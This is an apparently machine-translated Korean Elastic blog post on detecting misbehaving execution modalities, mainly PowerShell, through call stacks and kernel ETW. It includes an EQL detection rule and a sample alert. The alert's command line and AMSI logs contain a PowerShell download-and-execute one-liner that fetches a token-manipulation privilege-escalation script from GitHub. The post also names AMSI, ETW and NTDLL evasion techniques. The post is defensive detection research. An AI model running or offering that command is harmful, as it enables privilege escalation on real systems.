John Uhlmann

잘못된 행동 양식: 기법이 아닌 도구 탐지

실행 양식의 개념과 양식 중심 탐지가 행동 중심 탐지를 어떻게 보완할 수 있는지 살펴봅니다.

잘못된 행동 양식: 기술이 아닌 도구 탐지

실행 방식이란 무엇인가요?

SpecterOps의 수석 전략가이자 보안 전략에 대한 다작의 저술가인 Jared Atkinson은 최근 멀웨어 기술을 추론하고 이를 강력하게 탐지하는 데 매우 유용한 실행 양식 개념을 소개했습니다. 간단히 말해, 실행 양식은 단순히 동작이 수행하는 작업을 정의하는 것이 아니라 악성 동작이 실행되는 방식을 설명합니다.

예를 들어, 관심 있는 동작은 Windows 서비스 생성일 수 있으며, 방식은 시스템 유틸리티(예: `sc.exe`), PowerShell 스크립트 또는 간접적인 시스템 호출을 사용하여 Windows 레지스트리의 서비스 구성에 직접 쓰는 셸코드일 수 있습니다.

앳킨슨은 특정 기법을 탐지하는 것이 목표인 경우, 운영 체제의 진실 소스에 최대한 가깝게 수집하고 모든 양식 가정을 제거해야 한다고 설명했습니다.

사례 연구: 서비스 생성 방식

Windows OS 내의 일반적인 서비스 생성 시나리오에서는 설치 관리자가 다음을 호출합니다. sc.exe create 를 호출하여 RCreateService 서비스 제어 관리자 (SCM, 일명 services.exe)의 엔드포인트를 호출한 다음 커널 모드 구성 관리자로 시스템 호출을 수행하여 레지스트리에 설치된 서비스의 데이터베이스를 업데이트합니다. 나중에 디스크에 플러시되고 부팅 시 디스크에서 복원됩니다.

즉, 실행 중인 시스템의 진실의 출처는 레지스트리입니다 (하이브는 디스크에 플러시되며 오프라인에서 변조할 수 있음).

위협 헌팅 시나리오에서는 비정상적인 sc.exe 명령줄을 쉽게 탐지할 수 있지만, 다른 도구에서 직접 서비스 제어 RPC 호출을 할 수도 있습니다.

위협 데이터를 엄격하게 처리하는 경우 비정상적인 서비스 제어 RPC 호출을 탐지할 수도 있지만, 다른 도구가 직접 시스템 호출을 하거나 원격 레지스트리와 같은 다른 서비스를 사용하여 서비스 데이터베이스를 간접적으로 업데이트할 수 있습니다.

즉, 이러한 실행 방식 중 일부는 Windows 이벤트 로그와 같은 기존의 원격 분석을 우회합니다.

그렇다면 구성 관리자의 변경 사항을 어떻게 모니터링할 수 있을까요? 커널 패치 보호로 인해 시스템 호출을 직접 강력하게 모니터링할 수는 없지만 Microsoft는 구성 관리자 콜백을 대안으로 제공하고 있습니다. Elastic은 운영 체제의 진실 소스에 최대한 가깝게 서비스 생성 탐지 노력을 집중해 왔습니다.

그러나 이러한 낮은 수준의 가시성에 대한 단점은 컨텍스트의 잠재적 감소입니다. 예를 들어, Windows 아키텍처 결정으로 인해 보안 공급업체는 서비스 데이터베이스에 레지스트리 키 생성을 요청하는 RPC 클라이언트를 알지 못합니다. Microsoft는 사용자 모드 RPC 서비스에서 RPC 클라이언트 세부 정보 쿼리만 지원합니다.

Windows 10 21H1부터 Microsoft는 서비스 생성 이벤트 로그에 RPC 클라이언트 세부 정보를 포함하기 시작했습니다. 이 이벤트는 덜 강력하지만 비정상적인 동작의 원인을 파악하는 데 도움이 될 수 있는 추가 컨텍스트를 제공하기도 합니다.

남용의 역사로 인해 일부 양식은 추가 로깅을 통해 확장되었으며, 그 중 중요한 예로 PowerShell이 있습니다. 이를 통해 특정 기술을 매우 정밀하게 탐지할 수 있지만 PowerShell 내에서 실행되는 경우에만 가능합니다. PowerShell에서 특정 기술에 대한 탐지 범위를 해당 기술에 대한 일반적인 탐지 범위와 혼동하지 않는 것이 중요합니다. 이 뉘앙스는 MITRE ATT& CK 커버리지를 추정할 때 중요합니다. 레드 팀이 일상적으로 보여주는 것처럼, 100개의% 기술 적용 범위(PowerShell에 한함)는 실제 적용 범위(% )가 0에 가까운 수준입니다.

서미트 더 피라미드 (STP)는 MITRE의 관련 분석 채점 방법론입니다. PowerShell 스크립트 블록 기반 탐지의 취약성에 대해 비슷한 결론을 내리고 이러한 규칙에 낮은 견고성 점수를 할당합니다.

프로세스 생성 로깅 및 PowerShell 로깅과 같은 높은 수준의 원격 분석 소스는 매우 적은 양식을 다루기 때문에 대부분의 기술을 탐지하는 데 매우 취약합니다. 기껏해야 가장 심각한 토지 임대(LotL) 남용을 적발하는 데 도움을 줍니다.

앳킨슨은 토론의 동기를 부여하는 데 사용된 예시에서 다음과 같은 기민한 관찰을 했습니다:

중요한 점은 탐지의 상위 목표는 양식 기반이 아닌 행동 기반이라는 점입니다. 따라서 PowerShell의 세션 열거형(양식 중심)이 아닌 세션 열거형(동작 중심)을 감지하는 데 관심을 가져야 합니다.

하지만 때로는 그것이 이야기의 절반에 불과할 때도 있습니다. 때로는 도구 자체가 컨텍스트에서 벗어난 것을 감지하는 것이 기술을 감지하는 것보다 더 효율적일 수 있습니다. 실행 방식 자체가 비정상적인 경우도 있습니다.

알려진 기법을 탐지하는 대신 잘못 작동하는 양식을 탐지하는 방법도 있습니다.

통화 스택이 모달리티를 공개합니다.

Elastic의 강점 중 하나는 대부분의 이벤트에 호출 스택을 포함한다는 점입니다. 이러한 수준의 통화 출처 세부 정보는 특정 활동이 악의적인지 양성인지를 판단하는 데 큰 도움이 됩니다. 호출 스택 요약만으로도 실행 방식을 파악할 수 있는 경우가 많은데, PowerShell, .NET, RPC, WMI, VBA, Lua, Python 및 Java의 런타임은 모두 호출 스택에 흔적을 남깁니다.

첫 번째 호출 스택 기반 규칙 중 일부는 하위 프로세스를 생성하거나 파일을 삭제하는 Office VBA 매크로(vbe7.dll)와 .NET 런타임을 로드하는 백업되지 않은 실행 가능 메모리에 대한 것이었습니다. 이 두 가지 사례에서 기술 자체는 대체로 무해했으며, 주로 비정상적인 행동 양식이 문제였습니다.

그렇다면 일반적인 행동 중심의 탐지 접근 방식을 양식 중심의 접근 방식으로 전환할 수 있을까요? 예를 들어, PowerShell에서 시작된 이중 목적 API 호출의 사용 여부만 탐지할 수 있나요?

Elastic은 호출 스택을 사용하여 PowerShell 스크립트에서 비롯된 API 호출과 PowerShell 또는 .NET 런타임에서 비롯된 호출을 구분할 수 있습니다.

이중 목적 API에 대한 근사치로 위협 인텔리전스 ETW를 사용한 결과, 'PowerShell 스크립트에서 의심스러운 API 호출'에 대한 규칙이 매우 효과적이었습니다.

api where
event.provider == "Microsoft-Windows-Threat-Intelligence" and
process.name in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and

/* PowerShell Script JIT - and incidental .NET assemblies */
process.thread.Ext.call_stack_final_user_module.name == "Unbacked" and
process.thread.Ext.call_stack_final_user_module.protection_provenance in ("clr.dll", "mscorwks.dll", "coreclr.dll") and

/* filesystem enumeration activity */
not process.Ext.api.summary like "IoCreateDevice( \\FileSystem\\*, (null) )" and

/* exclude nop operations */
not (process.Ext.api.name == "VirtualProtect" and process.Ext.api.parameters.protection == "RWX" and process.Ext.api.parameters.protection_old == "RWX") and

/* Citrix GPO Scripts */
not (process.parent.executable : "C:\\Windows\\System32\\gpscript.exe" and
  process.Ext.api.summary in ("VirtualProtect( Unbacked, 0x10, RWX, RW- )", "WriteProcessMemory( Self, Unbacked, 0x10 )", "WriteProcessMemory( Self, Data, 0x10 )")) and

/* cybersecurity tools */
not (process.Ext.api.name == "VirtualAlloc" and process.parent.executable : ("C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe", "C:\\Program Files\\Velociraptor\\Velociraptor.exe")) and

/* module listing */
not (process.Ext.api.name in ("EnumProcessModules", "GetModuleInformation", "K32GetModuleBaseNameW", "K32GetModuleFileNameExW") and
  process.parent.executable : ("*\\Lenovo\\*\\BGHelper.exe", "*\\Octopus\\*\\Calamari.exe")) and

/* WPM triggers multiple times at process creation */
not (process.Ext.api.name == "WriteProcessMemory" and
     process.Ext.api.metadata.target_address_name in ("PEB", "PEB32", "ProcessStartupInfo", "Data") and
     _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like ("?:\\windows\\*\\kernelbase.dll!CreateProcess*", "Unknown")))

탐지를 위해 취약한 PowerShell AMSI 로깅을 사용할 필요는 없지만, 분류에 도움이 되는 컨텍스트로 이벤트에서 이 세부 정보를 제공할 수 있습니다. 이 모달리티 기반 접근 방식은 다음과 같은 일반적인 PowerShell 방어 회피 기법도 탐지합니다:

  • NTDL 연결 해제
  • AMSI 패치
  • 사용자 모드 ETW 패치
{
 "event": {
  "provider": "Microsoft-Windows-Threat-Intelligence",
  "created": "2025-01-29T18:27:09.4386902Z",
  "kind": "event",
  "category": "api",
  "type": "change",
  "outcome": "unknown"
 },
 "message": "Endpoint API event - VirtualProtect",
 "process": {
  "parent": {
   "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
  },
  "name": "powershell.exe",
  "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "code_signature": {
   "trusted": true,
   "subject_name": "Microsoft Windows",
   "exists": true,
   "status": "trusted"
  },
  "command_line": "\"powershell.exe\" & {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
  "pid": 21908,
  "Ext": {
   "api": {
    "summary": "VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )",
    "metadata": {
     "target_address_path": "c:\\windows\\system32\\kernel32.dll",
     "amsi_logs": [
      {
       "entries": [
        "& {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n  [CmdletBinding()]\n  Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...<truncated>",
        "{[Char] $_}",
        "{\n [CmdletBinding()]\n Param(\n   [Parameter(Position = 0, Mandatory = $true)]\n   [Byte[]]\n   ${_00110111011010011},\n   [Parameter(Position = 1, Mandatory = $true)]\n   [String]\n   ${_10100110010101100},\n ...<truncated>",
        "{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }"
       ],
       "type": "PowerShell"
      }
     ],
     "target_address_name": "kernel32.dll!FatalExit",
     "amsi_filenames": [
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1",
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1"
     ]
    },
    "behaviors": [
     "sensitive_api",
     "hollow_image",
     "unbacked_rwx"
    ],
    "name": "VirtualProtect",
    "parameters": {
     "address": 140727652261072,
     "size": 33,
     "protection_old": "R-X",
     "protection": "RWX"
    }
   },
   "code_signature": [
    {
     "trusted": true,
     "subject_name": "Microsoft Windows",
     "exists": true,
     "status": "trusted"
    }
   ],
   "token": {
    "integrity_level_name": "high"
   }
  },
  "thread": {
   "Ext": {
    "call_stack_summary": "ntdll.dll|kernelbase.dll|Unbacked",
    "call_stack_contains_unbacked": true,
    "call_stack": [
     {
      "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14"
     },
     {
      "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b"
     },
     {
      "symbol_info": "Unbacked+0x3b5c",
      "protection_provenance": "clr.dll",
      "callsite_trailing_bytes": "41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41",
      "protection": "RWX",
      "callsite_leading_bytes": "df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0"
     }
    ],
    "call_stack_final_user_module": {
     "code_signature": [
      {
       "trusted": true,
       "subject_name": "Microsoft Corporation",
       "exists": true,
       "status": "trusted"
      }
     ],
     "protection_provenance_path": "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll",
     "name": "Unbacked",
     "protection_provenance": "clr.dll",
     "protection": "RWX",
     "hash": {
      "sha256": "707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4"
     }
    }
   },
   "id": 17260
  }
 },
 "user": {
  "id": "S-1-5-21-47396387-2833971351-1621354421-500"
 }
}

견고성 평가

피라미드 분석 점수 합산 방법론을 사용하여 PowerShell 양식 기반 탐지 규칙을 기존 PowerShell과 비교할 수 있습니다.

애플리케이션(A)사용자 모드(U)커널 모드(K)
핵심에서 (하위) 기술까지 (5)[최고] 커널 ETW 기반 PowerShell 양식 탐지
핵심에서 일부 (하위) 기술까지 (4)
기존 도구의 핵심 (3)
적군이 가져온 핵심 도구 (2)AMSI 및 ScriptBlock 기반 PowerShell 콘텐츠 탐지
임시 (1)[최악의 ]

피라미드 합산을사용한 PowerShell 분석 채점

앞서 언급했듯이 대부분의 PowerShell 탐지는 STP 척도를 사용하여 2A의 낮은 견고성 점수를 받습니다. 이는 가능한 최고 점수인 5K를 받은(Microsoft에서 적절한 커널 원격 분석을 사용할 수 있는 경우) PowerShell 오작동 양식 규칙과는 완전히 대조적입니다.

한 가지 주의할 점은 STP 분석 점수에는 아직 규칙의 설정 및 유지 관리 비용에 대한 측정값이 포함되어 있지 않다는 점입니다. 이는 특정 규칙에 대해 알려진 오탐 소프트웨어 목록의 크기로 근사치를 구할 수 있지만, 대부분의 공개 규칙 세트에는 일반적으로 이 정보가 포함되어 있지 않습니다. 저희 규칙의 경우 현재까지 관찰된 오탐은 매우 관리하기 쉬운 수준입니다.

하지만 통화 스택을 스푸핑할 수 있나요?

예 - 그리고 약간 아니오. 호출 스택은 모두 커널에서 인라인으로 수집되지만 사용자 모드 호출 스택 자체는 멀웨어가 제어할 수 있는 사용자 모드 메모리에 상주합니다. 즉, 멀웨어가 임의 실행에 성공하면 보이는 스택 프레임을 제어할 수 있습니다.

물론 비공개 메모리에서 이중 목적의 API 호출도 의심스럽지만, 때로는 비공개 메모리를 숨기려는 시도가 더 의심스러운 경우도 있습니다. 이는 다음과 같은 형태를 취할 수 있습니다:

호출 스택 제어만으로는 충분하지 않을 수 있습니다. 공격자가 콜 스택 탐지 중 일부를 실제로 우회하려면 정상적인 활동과 완전히 혼합된 콜 스택을 만들어야 합니다. 일부 환경에서는 보안팀이 높은 정확도로 베이스라인을 설정할 수 있기 때문에 공격자가 탐지되지 않는 것이 어렵습니다. 자체 연구와 레드팀 도구 개발자의 도움을 받아 즉시 사용 가능한 탐지 기능도 지속적으로 개선하고 있습니다.

마지막으로, 최신 CPU에는 스택 스푸핑을 탐지하는 데 사용할 수 있는 수많은 실행 추적 메커니즘(예: 인텔 LBR, 인텔 BTS, 인텔 AET, 인텔 IPT, x64 CETx64 아키텍처 LBR)이 있습니다. Elastic은 이미 이러한 하드웨어 기능 중 일부를 활용하고 있으며, 익스플로잇 보호 이외의 추가 시나리오에서도 이러한 기능을 활용할 수 있도록 Microsoft에 제안했으며, 자체적으로 추가 개선 사항을 조사하고 있습니다. 계속 지켜봐 주세요.

결론

실행 방식은 공격자의 기법을 이해할 수 있는 새로운 관점입니다.

하지만 개별 양식에 대한 특정 기술을 탐지하는 것은 비용 효율적인 접근 방식이 아닙니다. 너무 많은 기술과 너무 많은 양식이 존재하기 때문입니다. 대신, 운영 체제의 진실 소스에 최대한 가깝게 기술 탐지에 집중하여 필요한 활동 컨텍스트를 잃거나 관리할 수 없는 오탐이 발생하지 않도록 주의해야 합니다. 이것이 바로 Elastic이 사용자 모드 ntdll 후킹보다 더 강력한 탐색을 가능하게 하는 진실의 소스에 더 가깝다는 점에서 Kernel ETW가 더 우수하다고 생각하는 이유입니다.

양식 기반 탐지 접근 방식의 경우, 주어진 양식에 대해 예상되는 모든 낮은 수준의 원격 측정을 기준으로 삼고 편차가 있을 때 트리거하면 그 값이 명확해집니다.

지금까지 공격자들은 편의를 위해 다양한 방식을 선택할 수 있었습니다. C나 어셈블리보다 C#이나 PowerShell로 도구를 작성하는 것이 더 비용 효율적입니다. 모달리티를 집단화할 수 있다면 비용을 부과한 것입니다.